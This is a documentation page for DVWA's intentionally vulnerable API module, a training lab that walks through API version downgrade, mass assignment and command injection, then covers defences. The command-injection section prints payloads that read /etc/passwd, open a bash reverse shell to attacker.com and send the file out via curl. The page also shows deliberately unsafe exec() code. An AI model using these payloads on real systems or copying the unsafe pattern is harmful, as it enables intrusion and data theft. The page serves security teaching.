Skip to main content

API Security

Overview

Modern web applications extensively use APIs, either as Single Page Apps (SPAs) or to populate traditional applications with dynamic data. Because these APIs operate “behind the scenes,” developers sometimes make dangerous assumptions:
  • Authentication can be relaxed
  • Authorization checks are unnecessary
  • Input validation is less critical
  • Older API versions can remain accessible
As security testers, we can directly access these seemingly hidden endpoints to exploit implementation weaknesses.

Objective

Exploit weak API implementations across different security levels to access unauthorized data, elevate privileges, or execute commands.

API Specification

DVWA includes a complete OpenAPI 3.0 specification for its REST API.

OpenAPI Document

Location: vulnerabilities/api/openapi.yml
openapi: 3.0.0
info:
  title: 'DVWA API'
  contact:
    url: 'https://github.com/digininja/DVWA/'
    email: [email protected]
  version: '0.1'
servers:
  - url: 'http://dvwa.test'
    description: 'API server'
```sql

### API Endpoints

The API is organized into four main controllers:

#### User Controller (`/vulnerabilities/api/v2/user/`)

```yaml
paths:
  /vulnerabilities/api/v2/user/{id}:
    get:
      description: 'Get a user by ID.'
      parameters:
        - name: id
          in: path
          required: true
          schema:
            type: integer
      responses:
        '200':
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/User'
    put:
      description: 'Update a user by ID.'
      requestBody:
        content:
          application/json:
            schema:
              $ref: '#/components/schemas/UserUpdate'
    delete:
      description: 'Delete user by ID.'
User Schema:
{
  "id": 1,
  "name": "fred",
  "level": 1
}
```bash

#### Health Controller (`/vulnerabilities/api/v2/health/`)

```yaml
/vulnerabilities/api/v2/health/connectivity:
  post:
    description: 'Check connectivity to remote systems.'
    requestBody:
      content:
        application/json:
          schema:
            required: ['target']
            properties:
              target:
                type: string
                example: digi.ninja
Location: vulnerabilities/api/openapi.yml:13-436

Login Controller (/vulnerabilities/api/v2/login/)

/vulnerabilities/api/v2/login/login:
  post:
    description: 'Login as user.'
    requestBody:
      content:
        application/json:
          schema:
            required: ['username', 'password']
            properties:
              username:
                type: string
              password:
                type: string
```sql

#### Order Controller (`/vulnerabilities/api/v2/order/`)

Provides CRUD operations for orders (GET, POST, PUT, DELETE).

---

## Security Levels

### Low Level: API Versioning Vulnerability

#### Vulnerable Code

The low level makes calls to version 2 of the user API:

```javascript
function get_users() {
    const url = '/vulnerabilities/api/v2/user/';
     
    fetch(url, { 
        method: 'GET',
    }) 
    .then(response => response.json()) 
    .then(data => { 
        loadTableData(data);
    })
}

function loadTableData(items) {
    items.forEach(item => {
        Object.keys(item).forEach(function(k){
            let cell = row.insert_th_Cell(-1);
            cell.innerHTML = k;
            if (k == 'password') {
                // Success - password hashes exposed!
                successDiv.style.display = 'block';
            }
        });
    });
}
Location: vulnerabilities/api/source/low.php:46-97

Exploitation

Observation: The application calls /vulnerabilities/api/v2/user/ Attack Vector: If v2 exists, v1 might still be accessible Step 1: Test version 1 endpoint Access directly in browser or via proxy:
GET /vulnerabilities/api/v1/user/
Step 2: Analyze response Version 2 response:
[
  {"id": 1, "name": "admin", "level": 0},
  {"id": 2, "name": "user", "level": 1}
]
```text

Version 1 response:
```json
[
  {
    "id": 1, 
    "name": "admin", 
    "level": 0,
    "password": "5f4dcc3b5aa765d61d8327deb882cf99"
  },
  {
    "id": 2, 
    "name": "user", 
    "level": 1,
    "password": "5f4dcc3b5aa765d61d8327deb882cf99"
  }
]
Result: Version 1 exposes password hashes!

Key Vulnerability

Legacy API versions often contain:
  • Insufficient filtering (exposing sensitive fields)
  • Weaker authentication
  • Known vulnerabilities
  • Deprecated security controls
Best Practice: Deprecate and disable old API versions. If they must exist, ensure they have the same security controls as current versions.

Medium Level: Mass Assignment

Vulnerable Code

The medium level allows users to update their name:
function update_name() {
    const url = '/vulnerabilities/api/v2/user/2';
    const name = document.getElementById('name').value;
    const data = JSON.stringify({name: name});
     
    fetch(url, { 
        method: 'PUT', 
        headers: { 
            'Content-Type': 'application/json' 
        }, 
        body: data
    }) 
    .then(response => response.json()) 
    .then(data => { 
        update_username(data);
        if (user_json.level == 0) {
            level = 'admin';
            successDiv.style.display = 'block';
        }
    })
}
```bash

**Location**: `vulnerabilities/api/source/medium.php:50-74`

#### OpenAPI Schema Comparison

**UserUpdate schema** (what's documented for PUT):
```yaml
UserUpdate:
  required:
    - name
  properties:
    name:
      type: string
      example: fred
UserAdd schema (what’s used for POST):
UserAdd:
  required:
    - level
    - name
  properties:
    name:
      type: string
      example: fred
    level:
      type: integer
      example: 1
```http

#### Exploitation

**Attack**: Mass assignment via additional parameters

**Step 1: Intercept update request**

Normal request:
```json
PUT /vulnerabilities/api/v2/user/2
{
  "name": "morph"
}
Step 2: Add level parameter Modified request:
PUT /vulnerabilities/api/v2/user/2
{
  "name": "hacked",
  "level": 0
}
```text

**Step 3: Observe response**

```json
{
  "id": 2,
  "name": "hacked",
  "level": 0
}
Result: User elevated to admin (level 0)!

In-Browser Exploitation

Set breakpoint in update_name() function after data variable creation:
// In browser console:
data = JSON.stringify({name: name, level: 0})
```bash

Resume execution - the modified data will be sent.

#### Key Vulnerability

**Mass assignment** occurs when:
- Server accepts more parameters than intended
- No whitelist of allowed fields
- Object mapping directly to database models
- Insufficient parameter filtering

**Best Practice**: 
- Explicitly whitelist allowed parameters
- Use separate DTOs for input vs. database models
- Never trust client-provided data structure

---

### High Level: Command Injection in API

#### Vulnerable Code

The health controller's connectivity check executes OS commands:

```php
private function checkConnectivity() {
    $input = (array) json_decode(file_get_contents('php://input'), TRUE);
    if (array_key_exists("target", $input)) {
        $target = $input['target'];

        exec("ping -c 4 " . $target, $output, $ret_var);

        if ($ret_var == 0) {
            $response['status_code_header'] = 'HTTP/1.1 200 OK';
            $response['body'] = json_encode(array("status" => "OK"));
        } else {
            $response['status_code_header'] = 'HTTP/1.1 500 Internal Server Error';
            $response['body'] = json_encode(array("status" => "Connection failed"));
        }
    }
    return $response;
}
Location: vulnerabilities/api/src/HealthController.php:83-102

Exploitation

Vulnerability: User input concatenated directly into shell command Attack Vector: Command injection via target parameter Step 1: Normal request
POST /vulnerabilities/api/v2/health/connectivity
{
  "target": "digi.ninja"
}
```http

Executes: `ping -c 4 digi.ninja`

**Step 2: Inject additional command**

```json
POST /vulnerabilities/api/v2/health/connectivity
{
  "target": "digi.ninja; cat /etc/passwd"
}
Executes:
ping -c 4 digi.ninja; cat /etc/passwd
```text

**Step 3: Advanced payloads**

Reverse shell:
```json
{
  "target": "digi.ninja; bash -i >& /dev/tcp/attacker.com/4444 0>&1"
}
Data exfiltration:
{
  "target": "digi.ninja && curl -X POST -d @/etc/passwd http://attacker.com"
}
```bash

#### Key Vulnerability

APIs are **equally vulnerable** to injection attacks as web pages:
- SQL injection
- Command injection  
- LDAP injection
- XML injection

**Best Practice**:
- Never pass user input to shell commands
- Use parameterized functions (e.g., `ping()` library)
- Whitelist allowed characters
- Run with least privileges

---

### Impossible Level: OAuth2 Implementation

#### Secure Authentication Flow

The impossible level implements proper OAuth2 client credentials flow:

```php
private function login() {
    // Verify client credentials (HTTP Basic Auth)
    if (array_key_exists("PHP_AUTH_USER", $_SERVER) && 
        array_key_exists("PHP_AUTH_PW", $_SERVER)) {
        $client_id = $_SERVER['PHP_AUTH_USER'];
        $client_secret = $_SERVER['PHP_AUTH_PW'];

        // Validate application credentials
        if ($client_id == "1471.dvwa.digi.ninja" && 
            $client_secret == "ABigLongSecret") {

            if ($_POST['grant_type'] == "password") {
                // Validate user credentials
                if ($username == "mrbennett" && $password == "becareful") {
                    $response['body'] = Login::create_token();
                }
            } elseif ($_POST['grant_type'] == "refresh_token") {
                // Validate and refresh token
                if (Login::check_refresh_token($refresh_token)) {
                    $response['body'] = Login::create_token();
                }
            }
        }
    }
    return $response;
}
Location: vulnerabilities/api/src/LoginController.php:75-147

Token Management

class Token {
    private const ENCRYPTION_CIPHER = "aes-128-gcm";
    private const ENCRYPTION_KEY = "Paintbrush";

    public function create_token($secret, $expires) {
        $ivlen = openssl_cipher_iv_length(self::ENCRYPTION_CIPHER);
        $iv = openssl_random_pseudo_bytes($ivlen);
        
        $ciphertext = openssl_encrypt(
            json_encode(array(
                "secret" => $secret,
                "expires" => $expires,
            )), 
            self::ENCRYPTION_CIPHER, 
            self::ENCRYPTION_KEY, 
            0, 
            $iv, 
            $tag
        );
        
        return base64_encode($tag . ":::::" . $iv . ":::::" . $ciphertext);
    }
}
```bash

**Location**: `vulnerabilities/api/src/Token.php:9-48`

#### Protection Mechanisms

1. **Two-layer authentication**:
   - Application credentials (client_id/client_secret)
   - User credentials (username/password)

2. **Secure token generation**:
   - AES-128-GCM authenticated encryption
   - Unique IV per token
   - Expiration timestamps

3. **Refresh token flow**:
   - Access tokens expire quickly
   - Refresh tokens allow renewal without re-authentication
   - Both tokens have expiration

4. **Input validation**:
   - Proper parameter handling
   - No shell execution
   - Parameterized queries

---

## API Security Best Practices

### Authentication & Authorization

<Check>
**DO**:
- Implement OAuth2 or JWT properly
- Use short-lived access tokens
- Validate tokens on every request
- Enforce rate limiting per user/IP
- Use HTTPS exclusively
</Check>

<Warning>
**DON'T**:
- Rely on obscurity ("hidden" endpoints)
- Use API keys in URLs
- Trust client-side authorization
- Keep old API versions accessible
</Warning>

### Input Validation

```php
// BAD - Direct concatenation
exec("ping " . $_POST['host']);

// BAD - Insufficient validation  
if (preg_match('/^[a-z]+$/', $input)) { /* still vulnerable */ }

// GOOD - Use libraries
use Symfony\Process\Process;
$process = new Process(['ping', '-c', '4', $host]);

// GOOD - Strict whitelist
$allowed_hosts = ['example.com', 'test.local'];
if (!in_array($host, $allowed_hosts, true)) {
    throw new Exception('Invalid host');
}

Mass Assignment Prevention

// BAD - Direct binding
$user->fill($request->all());

// GOOD - Explicit whitelisting
$user->fill($request->only(['name', 'email']));

// GOOD - DTO pattern
class UpdateUserDTO {
    public function __construct(
        public readonly string $name,
        public readonly string $email
    ) {}
}
```bash

### API Versioning

<Check>
**Proper versioning**:
- Document deprecation timeline
- Enforce same security controls across versions
- Use API gateway to manage versions
- Monitor and alert on old version usage
- Set sunset headers: `Sunset: Sat, 01 Jan 2025 00:00:00 GMT`
</Check>

---

## Testing Tools

### OpenAPI Parsers
- **Burp OpenAPI Parser**: Import OpenAPI spec into Burp Scanner
- **ZAP OpenAPI Support**: Automated API testing
- **Swagger UI**: Interactive API documentation
- **Postman**: API client with collection runner

### Manual Testing

```bash
# Test version downgrade
curl -X GET http://dvwa.test/vulnerabilities/api/v1/user/

# Test mass assignment
curl -X PUT http://dvwa.test/vulnerabilities/api/v2/user/2 \
  -H "Content-Type: application/json" \
  -d '{"name":"hacked","level":0}'

# Test command injection  
curl -X POST http://dvwa.test/vulnerabilities/api/v2/health/connectivity \
  -H "Content-Type: application/json" \
  -d '{"target":"example.com; id"}'

OWASP API Security Top 10

RiskDescriptionDVWA Example
API1: Broken Object Level AuthorizationAccess objects belonging to other usersUser endpoint without auth checks
API2: Broken AuthenticationWeak auth implementationLegacy v1 endpoint
API3: Broken Object Property Level AuthorizationMass assignmentMedium level user update
API4: Unrestricted Resource AccessNo rate limitingAll levels
API5: Broken Function Level AuthorizationAccess admin functions as userLevel parameter in medium
API6: Unrestricted Access to Sensitive Business FlowsAutomate sensitive operationsOrder management
API7: Server Side Request ForgerySSRF via API parametersConnectivity check
API8: Security MisconfigurationExposed debug endpointsOpenAPI docs accessible
API9: Improper Inventory ManagementUndocumented v1 endpointLow level versioning
API10: Unsafe Consumption of APIsInjection via third-party APIsHigh level command injection

References


This module demonstrates real-world API vulnerabilities for educational and research purposes.

Build docs developers (and LLMs) love